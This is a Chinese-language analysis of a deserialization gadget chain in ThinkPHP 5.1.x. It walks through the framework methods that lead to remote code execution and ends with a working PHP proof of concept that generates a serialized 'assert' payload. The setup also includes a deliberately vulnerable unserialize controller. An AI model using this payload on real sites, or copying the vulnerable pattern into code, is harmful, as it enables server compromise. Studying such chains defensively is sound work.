环境搭建

利用composer下载tp5.1.37的环境

composer create-project --prefer-dist topthink/think thinkphp5.1.37
cd thinkphp5.1.37
修改composer.json文件里的为:topthink/framework": "5.1.37
保存退出执行:composer update

要进行反序列化攻击,需要可控的unserialize,在index控制器中写入

<?php
namespace app\index\controller;

class Index
{
    public function index()
    {
        $a = unserialize(input('c'));
        var_dump($a);
    }
}    

漏洞分析

这条链的前面部分跟tp5.0.24那条链一样,先全局查找__destruct魔术方法,找到文件/thinkphp/library/think/process/pipes/Windows.php

public function __destruct()
{
    $this->close();
    $this->removeFiles();
}

跟进removeFiles方法,file_exists函数执行会把里里面的参数当做字符串,所以可以调用__toString魔术方法。

private function removeFiles()
{
    foreach ($this->files as $filename) {
        if (file_exists($filename)) {
            @unlink($filename);
        }
    }
    $this->files = [];
}

这里,全局查找__toString,这里存在两条链,我们利用\thinkphp\library\think\model\concern\Conversion.php这条链来构造,这里要怎么调用到__toString方法,而Conversion类是trait关键字声明的,无法被实例化。在类中,可以使用use关键字来继承这个Conversion类,全局查找Conversion类,发现\thinkphp\library\think\Model.php

抽象类不能被实例化,需要找他的子类,发现\thinkphp\library\think\model\Pivot.php,所以payload为:

namespace think\process\pipes;
use think\model\Pivot;
class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}

namespace think\model;
use think\Model;
class Pivot extends Model
{
}

继续跟进__toString魔术方法中toJson->toArray()方法

当$relation可控的时候可以触发__call方法,这里,$this->append可控就代表key和name可控,跟进getRelation方法看一下

当条件语句都不满足无任何返回,就继续跟进getAttr方法

这里始终都会执行getData,跟进这个函数

$this->data可控,就代表$relation变量可控,所以就可以触发__call方法,全局查找一下。这里可以利用tprce那个那个类来触发命令执行。

这里$this->hook[$method]是可控,而array_unshift函数会在$args数组前插入新元素,所以导致$args不可控,分析过tp5rce的都知道filterValue方法存在call_user_func可以构造rce。

这里,怎么执行到filterValue,该类的input方法可以调用,但是input方法的参数不可控

需要查找哪里调用input方法了,发现param调用了input

这里$this->param可控,而name不可控,又需要查找哪里调用param方法

public function isAjax($ajax = false)
{
    $value  = $this->server('HTTP_X_REQUESTED_WITH');
    $result = 'xmlhttprequest' == strtolower($value) ? true : false;

    if (true === $ajax) {
        return $result;
    }

    $result           = $this->param($this->config['var_ajax']) ? true : $result;
    $this->mergeParam = false;
    return $result;
}

找到isAjax方法,$this->config可控,就代表param方法中的name参数可控,就代表input方法中data,name参数都可控,继续回到input方法查看第1373行,在filterValue方法$filters参数要可控

$filter = $this->getFilter($filter, $default);

跟进getFilter方法

$this->filter可控就代表了filterValue方法$filters参数可控,所以组合起来,poc如下

<?php
namespace think;
abstract class Model{
    protected $append;
    private $data;
    function __construct(){
        $this->append = ["aaaa"=>["123456"]];
        $this->data = ["aaaa"=>new Request()];
    }
}
class Request
{
    protected $param;
    protected $hook;
    protected $filter;
    protected $config;
    function __construct(){
        $this->filter = "assert";
        $this->config = ["var_ajax"=>''];
        $this->hook = ["visible"=>[$this,"isAjax"]];
        $this->param = ["phpinfo()"];
    }
}
namespace think\process\pipes;
use think\model\Pivot;
class Windows
{
    private $files;

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}

namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));
?>

影响版本

不同版本生成的exp不同,如下是影响版本:

5.1.3 < tp < 5.1.37

参考文章

1.https://nikoeurus.github.io/2019/12/31/ThinkPHP%205.1.x反序列化

2.https://github.com/Mochazz/ThinkPHP-Vuln/blob/master/ThinkPHP5/ThinkPHP5.1.X%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%A9%E7%94%A8%E9%93%BE.md

3.https://paper.seebug.org/1040/